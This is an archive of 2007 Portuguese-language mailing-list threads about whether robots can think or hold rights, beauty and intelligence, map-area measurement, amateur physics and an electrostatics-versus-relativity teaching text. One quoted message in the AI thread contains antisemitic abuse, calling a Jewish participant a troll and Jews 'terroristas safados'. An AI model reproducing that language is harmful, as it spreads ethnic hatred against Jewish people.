O grande roblema que vejo será programar um orgasmo...

boa tarde,

silvio.

----- Original Message -----
From: J.Victor
To: ciencialist@yahoogrupos.com.br <mailto:ciencialist%40yahoogrupos.com.br>

Sent: Sunday, May 06, 2007 6:39 AM
Subject: Re: [ciencialist] INTELIGÊNCIA ARTIFICIAL - HOMERO E EUNUCO

Mestre Sílvio.

Sílvio: Vem daí a idéia de que robôs suficientemente
sofisticados poderão ter estados mentais, afetividade e
imaginação, mesmo não sendo biológicos.

Victor: Mas é só idéia. Nem mais nem menos que isso.
A implementação de algo assim
não demandaria, sequer, um tempo infinito! Apesar de meu respeito
pela ciência e ter conhecimento dos desenvolvimentos do ramo científico
Inteligência Artificial, não vislumbro coisas a nível do que expressa a
frase
objeto destas poucas e mal traçadas linhas. Vislumbro, sim, como ora já
acontece,
o uso da I.A para controles cada vez mais sofisticados, cada vez mais
sofisticados,
cada vez mais... Mas é só. E olha que não sou espiritualista, que nega tais
coisas pela simples
razão de que, assim, o homem estaria fazendo o mesmo que God. Que disparate,

sô!
Minhas razões disso nada têm.
Já pensou como seria interessantse um fórum, de nome "Ciencyborg", criado
por CyBrudna,
cujos participantes fossem todos robôs? Que discutissem assim, como os
do Ciencialist? Com direito a coisas prá lá de úteis, inteligentes e
interessantes,
seja a nível de contestatações, seja a nível de defesas, ou mesmo a nível
das besteiradas que, vez ou outra
mais vez do que outra, ultimamente, surgem? Tais robôs seriam incapazes
até mesmo de, sem uma programação
específica, discernirem e praticarem asnices. Ou alguém faz a sintaxe
correta, sem um mero pontinho a mais ou a menos
ou nada funciona.
Adoraria presenciar um discussão intelectual de um desses sobre as o
Discurso do Método, Esquesitices do óbvio,
um enfrentamento das idéias do Alberto Mesquita, ou mesmo um embate poético
com um Catulo da Paixão Cearense,
uma "simples" cantoria com um destes cantadores do Nordeste, como o meu pai
ou o Pinto do Monteiro(ambos falecidos), entre outros exemplos. Ah, bota
ele prá discutir com Ferrari, bota! Prá ver se não espirra sangue(digo,
óleo) e fumaça por todo canto!
Só não por alí, que por alí nem teria. Quem já viu Cyborg que se preze com
"por alí", ora!
Olha, as engrenagens do bicho se engriparão nos primeiros minutos.
Pago prá ver, se estou dizendo asnices(que seriam incapazes de dizerem,
"conscientemente"). E, se pagar, complementarei a dívida plantando
"baneira", em praça pública, sem
zorba, com uma vela pingando na direção da linha reta que passa pelo centro
da cabeça.
Tinha muita graça!

Sds,
Victor.

----- Original Message -----
From: "Silvio Cordeiro" <scordeiroes@superig.com.br
<mailto:scordeiroes%40superig.com.br> >
To: <ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br> >
Sent: Saturday, May 05, 2007 7:33 PM
Subject: [ciencialist] INTELIGÊNCIA ARTIFICIAL - HOMERO E EUNUCO

Mestre Takata:

Peço seu abalizado parecer nesta questão.

sds.,

silvio.
----- Original Message -----
From: Pesky Bee
To: Acropolis_@yahoogrupos.com.br <mailto:Acropolis_%40yahoogrupos.com.br>
Sent: Friday, May 04, 2007 5:36 PM
Subject: Re: RES: [Acropolis_] INTELIGÊNCIA ARTIFICIAL - HOMERO E EUNUCO

Putz, constantor, começou dizendo que concorda mas logo
em seguida discorda. A questão é encarar os neurônios
biológicos como processos físicos que manipulam informação.
Sob esse aspecto, neurônios ou transístores, não importa,
são processos físicos processando informação. E pode ser
que você reclame de eu ser um reducionista do caralho,
mas afetividade, intuição e imaginação podem ser reduzidos,
em última instância, à atividade neural. Hoje não sabemos
em detalhes como isso opera, mas sabemos que não parece
haver nada "além de neurônios" no pensamento e sentimento
humanos (e quem estuda neurociência sabe disso desde o
primeiro momento). Vem daí a idéia de que robôs suficientemente
sofisticados poderão ter estados mentais, afetividade e
imaginação, mesmo não sendo biológicos.

*PB*

----- Original Message -----
From: constantor
To: Acropolis_@yahoogrupos.com.br <mailto:Acropolis_%40yahoogrupos.com.br>
Sent: Friday, May 04, 2007 3:17 PM
Subject: Re: RES: [Acropolis_] INTELIGÊNCIA ARTIFICIAL - HOMERO E EUNUCO

concordo, caro.

mas isto não retira o caráter de simulação que está envolvido na
inteligência artificial. Sempre será uma máquinha que reproduz, por
meio de mecanismos, uma realidade que existe enquanto tal somente no
homem.

E a própria idéia de reduzir à inteligência humana a uma mera
calculadora demonstra isto. Vamos dizer que o homem seja apenas esta
dinãmica enloquecida empreendida pelos neurônios. Esta dinâmica gera
coisas em nõs, que uma calculadora gigante não reproduz. Como eu
estava falando com o John, a racionalidade humana não e´despida dos
elementos de afetividade, intuição, imaginação, e vários estados de
consciencia que só nós vivenciamos. Máquinhas fazem cálculos somente.

--- Em Acropolis_@yahoogrupos.com.br
<mailto:Acropolis_%40yahoogrupos.com.br> , "Pesky Bee" <peskybee2@...>
escreveu
>
> E o cérebro biológico estará meramente fazendo um bando
> de neurônios dispararem loucamente. Basta usarmos um
> nível de análise diferente para máquinas e cérebros
> serem muito dissimilares. Agora, se nos fixarmos em um
> mesmo nível (e falarmos em, por exemplo, "estados mentais",
> representação de informação, conceituação, heurística, etc.)
> podemos melhor compará-los. Inteligência artificial só pode
> ser entendida se houver comparação no mesmo nível de
> análise. Capiche?
>
> *PB*
>
>
>
> ----- Original Message -----
> From: constantor
> To: Acropolis_@yahoogrupos.com.br <mailto:Acropolis_%40yahoogrupos.com.br>

> Sent: Friday, May 04, 2007 2:16 PM
> Subject: Re: RES: [Acropolis_] INTELIGÊNCIA ARTIFICIAL - HOMERO
E EUNUCO
>
>
> Olha o salto Pesky.
>
> O computador estará fazendo cálculos matemáticos.
>
> Ponto.
>
> --- Em Acropolis_@yahoogrupos.com.br
<mailto:Acropolis_%40yahoogrupos.com.br> , "Pesky Bee" <peskybee2@>
> escreveu
> >
> > Essa questão de imitar ou não é mais complexa do que isso.
> > Um robô mecânico como o Asimo pode ser dito como "imitando"
> > o andar humano. Mas uma calculadora que multiplique 2 * 2
> > não estará imitando uma computação que fazemos mentalmente:
> > estará *fazendo* essa computação (com heurística diferente,
> > mas estará). A diferença fundamental é que um furacão pode
> > ser simulado em um computador (e a simulação pode "destelhar"
> > casas virtuais; obviamente ninguém confundiria isso com a
> > realidade), mas um robô que pensa não estará "imitando" nosso
> > pensar: ele estará realmente pensando.
> >
> > *PB*
> >
> >
> >
> > ----- Original Message -----
> > From: constantor
> > To: Acropolis_@yahoogrupos.com.br
<mailto:Acropolis_%40yahoogrupos.com.br>
> > Sent: Thursday, May 03, 2007 10:12 PM
> > Subject: Re: RES: [Acropolis_] INTELIGÊNCIA ARTIFICIAL -
HOMERO
> E EUNUCO
> >
> >
> > Animais naõ imitam, possuem o atributo vida. Alguns animais
> imitam
> > atributos que não possuem, como o papagaio. Máquinas também
> podem
> > imitar o raciocínio lógico matemático, mas a subjetividade não
> se
> > reduz a isto.
> >
> > --- Em Acropolis_@yahoogrupos.com.br
<mailto:Acropolis_%40yahoogrupos.com.br> , "John C"
> > <johnconstantine2@> escreveu
> > >
> > > Olá
> > >
> > >
> > >
> > > Um dos atributos da pessoa humana é a vida. Animais imitam a
> vida?
> > >
> > >
> > >
> > > Qual a diferença entre possuir um atributo e imita-lo? Tal
> coisa é
> > possível?
> > > Posso imitar o Superman voando?
> > >
> > >
> > >
> > > _____
> > >
> > > De: Acropolis_@yahoogrupos.com.br
<mailto:Acropolis_%40yahoogrupos.com.br>
> > [mailto:Acropolis_@yahoogrupos.com.br
<mailto:Acropolis_%40yahoogrupos.com.br> ] Em
> > > nome de constantor
> > > Enviada em: quinta-feira, 3 de maio de 2007 16:25
> > > Para: Acropolis_@yahoogrupos.com.br
<mailto:Acropolis_%40yahoogrupos.com.br>
> > > Assunto: Re: RES: RES: [Acropolis_] INTELIGÊNCIA ARTIFICIAL -

> > HOMERO E
> > > EUNUCO
> > >
> > >
> > >
> > > Porque, dado que não são pessoas, eles não possuem estes
> > atributos,
> > > apenas os imitam.
> > >
> > > --- Em Acropolis_@yahoogru <mailto:Acropolis_%
> 40yahoogrupos.com.br>
> > > pos.com.br, "John C"
> > > <johnconstantine2@> escreveu
> > > >
> > > > Olá
> > > >
> > > >
> > > >
> > > > E que direitos possuímos enquanto pessoas que não
possuímos
> > > enquanto
> > > > animais? E por que?
> > > >
> > > >
> > > >
> > > > Suponhamos quem sejamos pessoas por possuir os atributos
X,
> Y e
> > Z.
> > > Se para
> > > > cada atributo possuímos uma dada classe de direitos, por
que
> > seres
> > > outros
> > > > que possuam um desses atributos não podem ter a mesma
classe
> de
> > > direitos?
> > > > Que atributo humano nos dá o direito ao voto, por exemplo?
> Se
> > uma
> > > máquina
> > > > tiver esse atributo, ela não poderia votar?
> > > >
> > > >
> > > >
> > > >
> > > >
> > > >
> > > >
> > > > _____
> > > >
> > > > De: Acropolis_@yahoogru <mailto:Acropolis_%
> 40yahoogrupos.com.br>
> > > pos.com.br
> > > [mailto:Acropolis_@yahoogru <mailto:Acropolis_%
> > 40yahoogrupos.com.br>
> > > pos.com.br] Em
> > > > nome de constantor
> > > > Enviada em: quinta-feira, 3 de maio de 2007 15:50
> > > > Para: Acropolis_@yahoogru <mailto:Acropolis_%
> > 40yahoogrupos.com.br>
> > > pos.com.br
> > > > Assunto: Re: RES: [Acropolis_] INTELIGÊNCIA ARTIFICIAL -
> HOMERO
> > E
> > > EUNUCO
> > > >
> > > >
> > > >
> > > > Se não são pessoas, não há porque dar a elas direitos que
> > > possuímos
> > > > enquanto pessoas. Alguma proteção jurídica elas vão ter.
Mas
> aí,
> > > até
> > > > nossos animais domésticos têm.
> > > >
> > > > --- Em Acropolis_@yahoogru <mailto:Acropolis_%
> > 40yahoogrupos.com.br>
> > > > pos.com.br, "John C"
> > > > <johnconstantine2@> escreveu
> > > > >
> > > > > Olá
> > > > >
> > > > >
> > > > >
> > > > > Sim, isso é certo e me parece indiscutível: máquinas não
> são e
> > > não
> > > > serão
> > > > > pessoas. A questão é por que somente as pessoas humanas
> devem
> > > ter
> > > > certos
> > > > > direitos? Burros não são pessoas e nem por isto
> consideramos
> > > certo
> > > > jogá-los
> > > > > num tanque de ácido. Por que direitos não poderiam ser
> dados a
> > > > máquinas que,
> > > > > vistas de fora, possuam consciência? (ou ajam tal qual,
o
> que
> > dá
> > > > na mesma,
> > > > > já que não podemos dizer que nosso vizinho possui
> consciência
> > > > também)
> > > > >
> > > > >
> > > > >
> > > > >
> > > > >
> > > > > Se uma máquina for capaz de escolher, por que não puni-
la
> por
> > > uma
> > > > dada
> > > > > atitude?
> > > > >
> > > > >
> > > > >
> > > > >
> > > > >
> > > > > _____
> > > > >
> > > > > De: Acropolis_@yahoogru <mailto:Acropolis_%
> > 40yahoogrupos.com.br>
> > > > pos.com.br
> > > > [mailto:Acropolis_@yahoogru <mailto:Acropolis_%
> > > 40yahoogrupos.com.br>
> > > > pos.com.br] Em
> > > > > nome de constantor
> > > > > Enviada em: quarta-feira, 2 de maio de 2007 17:40
> > > > > Para: Acropolis_@yahoogru <mailto:Acropolis_%
> > > 40yahoogrupos.com.br>
> > > > pos.com.br
> > > > > Assunto: Re: [Acropolis_] INTELIGÊNCIA ARTIFICIAL -
HOMERO
> E
> > > EUNUCO
> > > > >
> > > > >
> > > > >
> > > > > É tão óbvia a má fé do Eurico e tão intensa sua solidão
em
> > > relação
> > > > aos seus
> > > > > pares, que ele tem de distorcer conscientemente as
> afirmações
> > > dos
> > > > outros a
> > > > > fim de poder considerar as máquinas dentre as quais vive
> como
> > > seres
> > > > > iguaizinhos a ele.
> > > > >
> > > > >
> > > > >
> > > > > Ninguém disse que não há pesquisa, experimentos e
esforços
> > rumo a
> > > > > Inteligência Artificial. O que se está afirmando é que
> esta,
> > > mesmo
> > > > que um
> > > > > dia venha a ser construída, não é uma pessoa.
> > > > >
> > > > >
> > > > >
> > > > >
> > > > >
> > > > > ----- Original Message -----
> > > > >
> > > > > From: Eurico <mailto:caodejah@> Ferreira de Souza Jr.
> > > > >
> > > > > To: Acropolis_@yahoogru <mailto:Acropolis_@yahoogru
> > > > <mailto:Acropolis_%40yahoogrupos.com.br> pos.com.br>
> > > > pos.com.br
> > > > >
> > > > > Sent: Wednesday, May 02, 2007 8:23 AM
> > > > >
> > > > > Subject: Res: [Acropolis_] INTELIGÊNCIA ARTIFICIAL -
> HOMERO E
> > > > EUNUCO
> > > > >
> > > > >
> > > > >
> > > > > [E]> é tão óbvia a má-fé do troll judeu, atacando
> > exaustivamente
> > > > > quem zela pela racionalidade e coerência filosófica que

> dó.
> > > > > Uns terroristas safados que não querem permitir o
trabalho
> > > > filosófico
> > > > > aos gentios e ficam enchendo a lista de merda religiosa.
> > > > > Pra eles o importante é tumultuar e evitar o
> esclarecimento,
> > > > > nem que, pra isso, tenham que cair no mais completo
> ridículo
> > > > indecente.
> > > > > Um dá carteirada de judeu, mas se lembramos esse fato,
fica
> > > > > ofendido, o outro se converteu ao cristianismo pra não
dar
> tão
> > > na
> > > > cara.
> > > > > Querem que sejamos cristãos sem pensamento critico,
> > > > > trabalhadores braçais sem ciência e tecnologia, patriotas
> > > > > sem consciência política, usuários de windows, desunidos
> > > > > e desorientados porque o papai do céu escolheu um povo
> > > > > e prometeu a terra (junto com os não escolhidos) pra
eles.
> > > > >
> > > > > Inteligência Artificial não é ficção científica: vou ter
> essa
> > > > matéria
> > > > > no ano que vem! (a keyword pra quem quer saber mais é
> prolog)
> > > > >
> > > > > http://naeg.
> > > > > <http://naeg. <http://naeg.
> > > <http://naeg.prg.usp.br/relatorio/disciplina.phtml?>
> > > prg.usp.br/relatorio/disciplina.phtml?
> > > >
> > > > prg.usp.br/relatorio/disciplina.phtml?
> > > > id_disciplina=IBM1024>
> > > > > prg.usp.br/relatorio/disciplina.phtml?
id_disciplina=IBM1024
> > > > >
> > > > > http://naeg.
> > > > > <http://naeg. <http://naeg.
> > > <http://naeg.prg.usp.br/relatorio/disciplina.phtml?>
> > > prg.usp.br/relatorio/disciplina.phtml?
> > > >
> > > > prg.usp.br/relatorio/disciplina.phtml?
> > > > id_disciplina=IBM1034>
> > > > > prg.usp.br/relatorio/disciplina.phtml?
id_disciplina=IBM1034
> > > > >
> > > > > http://naeg.
> > > > > <http://naeg. <http://naeg.
> > > <http://naeg.prg.usp.br/relatorio/disciplina.phtml?>
> > > prg.usp.br/relatorio/disciplina.phtml?
> > > >
> > > > prg.usp.br/relatorio/disciplina.phtml?
> > > > id_disciplina=IBM1040>
> > > > > prg.usp.br/relatorio/disciplina.phtml?
id_disciplina=IBM1040
> > > > >
> > > > >
> > > > >
> > > > >
> > > > >
> > > > >
> > > > > _\|/_
> > > > >
> > > > >
> > > > >
> > > > > ----- Mensagem original ----
> > > > > De: Victor Molina -BR <victormolinabr@>
> > > > > Para: Acropolis_@yahoogru <mailto:Acropolis_%
> > > 40yahoogrupos.com.br>
> > > > pos.com.br
> > > > > Enviadas: Quarta-feira, 2 de Maio de 2007 1:06:10
> > > > > Assunto: [Acropolis_] INTELIGÊNCIA ARTIFICIAL - HOMERO E
> EUNUCO
> > > > >
> > > > > É tão óbvia, mas tão óbvia a razão de porque o Homero e
o
> > Eunuco
> > > > são
> > > > > entusiastas da inteligência artificial, que acabamos não
> nos
> > > dando
> > > > conta,
> > > > > ora. É simples: a inteligência artificial é a única
> esperança
> > > dos
> > > > dois de
> > > > > adquirirem algum tipo de inteligência. :-)
> > > > >
> > > > >
> > > > >
> > > > > __.
> > > > >
> > > > >
> > > > >
> > > > >
> > > > > __________________________________________________
> > > > > Fale com seus amigos de graça com o novo Yahoo!
Messenger
> > > > > http://br.messenger <http://br.messenger
> > > <http://br.messenger.yahoo.com/> .yahoo.com/> .yahoo.com/
> > > > >
> > > > > __________ Informação do NOD32 IMON 2113 (20070313)
> __________
> > > > >
> > > > > Esta mensagem foi verificada pelo NOD32 sistema antivírus
> > > > > http://www.eset. <http://www.eset. <http://www.eset.
> > > <http://www.eset.com.br> com.br>
> > > com.br> com.br
> > > > >
> > > >
> > >
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SUBJECT: Re: [ciencialist] Re: Questões sociobiológicas
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 11/05/2007 17:13

Meu prezado João:

Muito bom: nossos textos se completam. não há, entre eles, nenhum problema.
E o motivo dessa grave ocorrência é muito fácil de se entender: falamos a mesma língua porque simplesmente não somos cacundeiros de nenhuma ideologia específica:apenas temos a liberdade de pensar livremente: é a maior honra para um humano ser chamado de livre-pensador.

Sabe o que é cacundeiro? Já fui, do meu pai....

Uma boa tarde, obrigado pela cordialidade, algo um pouco raro nas veredas dos sertões internéticos....

silvio.


----- Original Message -----
From: Joao de Carvalho
To: ciencialist@yahoogrupos.com.br
Sent: Wednesday, May 09, 2007 8:29 PM
Subject: [ciencialist] Re: Questões sociobiológicas


Caro Sílvio:

> Vamos por duas vertentes: a primeira é que "aparência" é um
conceito subjetivo, criado pelo consciente das pessoas pela
assimilação de traços que lhes sejam agradáveis, geralmente
assemelhados aos seus ou aos de seus sonhos em função de imputs
recebidos.

Existem evidências de que, pelo menos a beleza facial, esteja
relacionada à média entre os diferentes formatos de rostos de uma
população. Quanto mais na média estiver um rosto, mais bonito ele
será. Tem um experimento em que eles pegaram várias fotos de rostos
e
foram fundindo-as no computador. Quanto mais rostos eles
acrescentavam ao modelo, mais bonito ficava seu rosto. O que se
supõe
é que um rosto com características médias reflete um bom
desenvolvimento do embrião, o que significaria melhores genes. Em
geral um rosto bonito é reconhecido por toda a sociedade como
bonito.
Aquela coisa de que a beleza está nos olhos de quem a vê é uma
tolice. Existem pessoas que são realmente bonitas, e outras que são
realmente feias. É verdade que uma pessoa pode se sentir atraída por
outra meio feia (o que parece ter motivos evolutivos que não convém
aqui discutir), mas ela admite que a pessoa em questão não é bonita,
embora se sinta atraída por ela. Alguns traços feios podem dar à
pessoa um "tempero" que, aos olhos de uma outra, possam dar-lhe um
aspecto interessante. Do meu ponto de vista, é o caso da Kristen
Dunst, que fez Homem-aranha, As virgens suicidas e aquela vampirinha
sinistra de Entrevista com o vampiro. Ela tem algo de feio. Mas esse
elemento a faz ficar interessante.

> Inteligência é outra coisa, completamente desvinculada da
aparência:

Sem dúvida.

> o que vulgarmente se chama de inteligência é a capacidade que cada
indivíduo tem, em graus variados, para resolver determinadas gamas
de
problemas.

Me parece que inteligência é um termo que é usado para descrever
habilidades diferentes, que são todas postas no mesmo saco. A
inteligência que se mede em testes de QI reflete apenas um tipo de
habilidade mental. Darwin não se achava inteligente. Ele dizia não
conseguir acompanhar bem uma linha de raciocínio complexo. O mesmo
ocorre comigo. Esses textos filosóficos complicados, tipo Kant e
Hegel, eu tenho muita dificuldade para entender. Mas eu tenho outras
habilidades que alguns podem chamar de inteligência. Na verdade eu
não me acho inteligente. Um teste de QI que fiz na adolescência deu
ligeiramente acima da média. Eu também não tenho uma língua afiada,
habilidades sociais, capacidade de fazer conexões entre diferentes
fenômenos. Tudo isso poderia ser chamado de inteligência, embora
sejam habilidades distintas. Você disse que inteligência é a
capacidade "para resolver determinadas gamas de problemas." Pode
ser.
Mas a gama de problemas pode ser ampla, e o indivíduo pode se sair
bem em alguns tipos de problemas, e mal em outros. Pode-se até falar
de inteligência de um jogador de futebol, ou de um músico que
improvisa jazz.

Saudações.
João de Carvalho






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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: OFF-TOPIC: Software para calcular área de mapa
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 11/05/2007 18:02

Mestre Takata:

Em engenharia de campo, já fui do ramo, a topografia é desenhada em apenas duas dimensões: só que são feitas pranchas horizontais e cortes transversais: no desenho a mão, baseado nas coordenadas retiradas das cadernetas é impossível fazer o desenho tridimensional e nem teria utilidade prática para, por exemplo, traçar uma estrada ou calcular o volume para aterro ou retirada de material. Mas como estou aposentado ha um bom tempinho e nem sabia que hoje usam o GPS para medir terrenos,
dou-lhe o benefício da minha dúvida....
Existem programas de computador para realizar o serviço, realmente apresentando, simplesmente para ilustração uma visão tridimensional como quer o nobre Zé Carlos. Mas não é do meu tempo....
Vs. não acredita: usei régua de cálculo por muito tempo... e só trabalhávamos com as japonesas feitas de bambu: as outras, de plástico que dilatava, não davam precisão...
Já o sorobã, só vi sendo operado: aprendi algumas contas mas não pratiquei pois as maquininhas logo chegaram...

uma boa tarde,

silvio.
----- Original Message -----
From: José Carlos Antonio
To: ciencialist@yahoogrupos.com.br
Sent: Wednesday, May 09, 2007 11:49 PM
Subject: [ciencialist] Re: OFF-TOPIC: Software para calcular área de mapa


Acho que isso não daria certo não, Takata, pois mapas topográficos
indicam superfícies tridimensionais. Dari certo se houvesse uma
maquete da superfície curva, pois nessa caso poderíamos recobri-la com
papel e depois pesar, como você sugeriu para o caso do mapa plano.

Minha "inguinorança" não permite pensar em nenhuma solução simples
além da construção da maquete, mas deve sim existir algum software que
calcule isso.

Abraços,
JC

--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
escreveu
>
> --- Em ciencialist@yahoogrupos.com.br, "psdias" <psdias@> escreveu
> > - Enfim, alguém conhece algum software não muito complicado de usar,
> > onde eu pudesse executar a tarefa que descrevi ?
>
> Tem um método muito simples.
>
> Vc pode pegar o desenho do mapa em um papel, recortar o contorno e
> pesá-lo. Agora vc pega um pedaço quadrado do mm papel com área
> conhecida e faz o mm.
>
> Aplica a regra de três.
>
> (Tomar o cuidado para q o papel usado seja relativamente uniforme.)
>
> Outro modo, mais trabalhoso, é dividir o mapa em vários quadrinhos.
> Qto menor o quadriculado melhor - até o limite em q a espessura da
> linha da grade não distorça a área das quadrículas.
>
> []s,
>
> Roberto Takata
>






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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: E=m.c2
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 11/05/2007 18:37

Silvio, cumpadre, se o JC for eu a minha resposta é que, se for
possível fazer algo com a suposição feita, então a suposição é
relevante, senão, pouco importa. O Takata já listou à poucas mensagens
algumas respostas que gostaríamos de obter com as sempre novas e
interessantes hipóteses que vivem aparecendo.

Abraços,
JC



--- Em ciencialist@yahoogrupos.com.br, "Silvio Cordeiro"
<scordeiroes@...> escreveu
>
> Mestre Takata e JC::
>
> Vão responder? estou curioso...
>
> silvio.
>
>
> ----- Original Message -----
> From: Jeff
> To: ciencialist@yahoogrupos.com.br
> Sent: Tuesday, May 08, 2007 12:02 PM
> Subject: Re: [ciencialist] Re: E=m.c2
>
>
> >
> >A conclusão de que a matéria é uma onda
> >estacionária em trajetória fechada é algo
> >interessante. Contudo ela tb esbarra na
> >questão do 'recipiente' ou 'anteparo' da onda.
> >Ou estarei enganado? Na Teoria da Velocidade
> >Absoluta, o que faz a onda de energia refletir
> >para tornar-se estacionária?
> >
>
> Eu tenho uma idéia (uma "viagem") sobre isso e gostaria que o
pessoal aí
> analisasse. Considerem que eu não sou físico ou matemático, só um
computeiro
> curioso :-)
>
> Eu *imagino* que uma partícula elementar de matéria seja um
quantum de
> energia pura que ficou confinado, por causa de sua baixíssima
energia, numa
> dimensão menor, exatamente do tamanho do comprimento de planck! Do
mesmo
> modo que o que confina a energia do nosso universo seria o
espaço-tempo!
> Assim, de acordo com a quantidade de energia do quantum, este ficaria
> confinado nesta minúscula dimensão ou não (como a luz - as ondas
"livres").
> Penso então que as barreiras dimensionais sejam apenas a
quantidade de
> energia! Uma quantidade maior de energia poderia "furar" esta
barreira e
> navegar pelo nosso universo (teria, portanto, criado o nosso
universo) e
> energias muito maiores ainda poderiam "furar" o nosso universo,
indo para
> dimensões maiores ainda!!!
>
> Será que "viajei" muito? :-)
>
> Um abraço,
> Jeff.
>
>
>
>
>
>
>
------------------------------------------------------------------------------
>
>
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> Checked by AVG Free Edition.
> Version: 7.5.467 / Virus Database: 269.6.5/792 - Release Date:
6/5/2007 21:01
>
>
> [As partes desta mensagem que não continham texto foram removidas]
>




SUBJECT: Re: [ciencialist] Re: E=m.c2
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 11/05/2007 18:54

Olá Takata!

Vc recebeu a menssagem desta thread que tinha esta
pergunta sobre sua afirmação?

Takata >>> Você pode dividir o carro sem separar as
partes.

--- Ok. Mas como? Pode dar um exemplo?


Fico aguardando a resposta.
Sinceramente
Ferrari



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SUBJECT: RES: [ciencialist] Preciso fazer uma pergunta, pois estou c/ uma duvida
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 11/05/2007 21:28

Caro Léo,

Já ensaiei uma resposta, mas preciso que você me informe o link onde
encontrarei as Figuras 1 e 2,

a respeito de sua proposição mais abaixo.

Só para verificar se refiz tais figuras conforme você descreveu.

Sds,

Victor.



De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Luiz Ferraz Netto
Enviada em: quinta-feira, 10 de maio de 2007 11:15
Para: ciencialist@yahoogrupos.com.br
Assunto: Re: [ciencialist] Preciso fazer uma pergunta, pois estou c/ uma
duvida



Olá Victor,

Não posso enviar essas 'complementações' para a guria! Tadinha! Vamos deixar
ela escalar o conhecimento degrau por degrau, conforme seus neurônios vão se
exercitando com a física e matemática.
Tudo se aprende assim. Vc se lembra da História do Brasil desde o primário?
Começa como uma festa 'Cabral e suas caravelas ... sem querer ... descobriu
o Brasil', no Ensino Médio, já se fala em Américo Vespucci, navegador
experimentado ... e o 'sem quer' se modifica ... outros fatores aparecem. No
Ensino Superior o professor já começa assim: Que Brasil? Isso não é nosso!
Vejamos a política da época .... e blá, blá - e a maçonaria - blá ... e toda
História se modifica.

Além disso, não concordo o o 'status' que vc dá à lei de Coulomb e seus
derivados. Aliás, estou desenvolvendo um texto justamente comentando como as
leis da eletricidade violam o princípio da relatividade. O que um observador
em 'repouso' vê de eletrostática numa questão não é o que vê um observador
em movimento.
Eis a parte do texto já pronta: (onde está r leia-se 'rö', p leia-se 'pi' e
m leia-se 'mü')
+++++++++++++++++++
O Principio da Relatividade
A Velocidade é relativa
Galileu propôs, como um princípio geral de simetria, que as leis da Física
deveriam ser as mesmas para qualquer observador que se mova a uma velocidade
constante, qualquer que seja a direção, sentido e o módulo dessa velocidade.
Em outras palavras, não deve haver nenhum sistema de referência preferencial
nem nenhuma maneira de determinar uma velocidade absoluta. Esta simetria
geral é chamada de princípio da relatividade.
É claro que Galileu e Newton se certificaram de que suas leis da mecânica
clássica obedeciam ao princípio da relatividade.
Contudo, a menos que se façam algumas mudanças na Física que apresentamos no
Ensino Médio, as leis da eletricidade violam o princípio da relatividade. Um
observador em "repouso" e um em movimento obterão duas predições teóricas
diferentes para a mesma experiência.
Como ilustração, vamos considerar o exemplo simples de uma carga puntual Q a
uma distância R de um fio carregado com r statcoulombs por centímetro como
mostra a Fig.1.

Fig.1- Carga puntual Q a uma distância R de um fio carregado com r C/m.
Fig.2- A Fig.1 vista por um observador que se move com velocidade v para
cima.

A força sobre Q é Fe = QE onde E = 2r/R é o valor do campo elétrico da
distribuição Q no ponto do espaço que dista R (veja adendo 1 "campo
originado por cilindro uniformemente eletrizado").
Portanto, Fe = 2Qr/R ... eq.1, para um observador em repouso.
Consideremos agora um segundo observador que se move paralelamente ao fio à
velocidade v como mostra a Fig.2. Além da força eletrostática acima Fe
(eq.1) este observador mediria também uma força magnética Fm . Ele vê uma
corrente elétrica I = rv movendo-se ao longo do fio e uma carga Q movendo-se
também paralelamente ao fio à velocidade v.
Como sabemos, a força magnética sobre a carga Q é Fm = Qv/c X B. O campo
magnético B produzido por uma corrente circulando em linha reta é B =
2rv/(cR). Portanto, Fm = Qv/c X 2rv/(cR) = (2rQ/R)(v2/c2) é a força
magnética.
[Nota: Estamos trabalhando no Sistema CGS Eletrostático (onde comparece c).
Para transferir para o Sistema Internacional de Unidades basta fazer c =
4p/m e tomar r em C/m.]
Essa força atrativa magnética deve ser adicionada à força repulsiva
eletrostática. Portanto o observador em movimento calcula a força resultante
como sendo
F = Fe - Fm = 2Qr/R - (2rQ/R)(v2/c2) = 2Qr/R(1 - v2/c2)
para um observador que se move à velocidade v.
Numericamente, é um fator (1 - v2/c2) menor que o resultado (Eq.1) obtido
por um observador estacionado.
Observe que se v<<<c, o fator (1 - v2/c2) torna-se unitário e a força
resultante será F = 2Qr/R = Q.E, tipicamente eletrostática.
Assim, é claro que as leis da eletricidade dão resultados diferentes em
sistemas de referência diferentes. Contudo, de acordo com o princípio da
relatividade de Galileu na mecânica clássica, a força ou aceleração sobre Q
deve ser independente da velocidade do observador. Como conciliar isso?
É assim, fácil observar, que o princípio da relatividade de Galileu que
funciona para a mecânica clássica é inconsistente com as equações de
Maxwell. Para resolver esta contradição, o princípio da relatividade, ou as
equações de Maxwell, ou a mecânica clássica devem ser revistos.
Vamos considerar agora as seguintes 3 alternativas:
+++++++++++++++++++++
Talvez hoje pela tardinha eu complete esse 'nabo' e tire a virgindade
coulombiana.

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br <mailto:leobarretos%40uol.com.br>
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "J.Victor" <j.victor.neto@uol.com.br <mailto:j.victor.neto%40uol.com.br>
>
Para: <ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br> >
Enviada em: quinta-feira, 10 de maio de 2007 10:45
Assunto: [ciencialist] Preciso fazer uma pergunta, pois estou c/ uma duvida

Caro Léo,

Acho que, numa primeira investida, está ok. Mas eu não diria algo assim:
"...e então a 'tradicional' lei

de Coulomb deve sofrer alterações (por vezes, sérias alterações!).", pois
daria a impressão

de que deveria haver alteração na estrutura mesma da lei. E não é assim. O
que acontece é

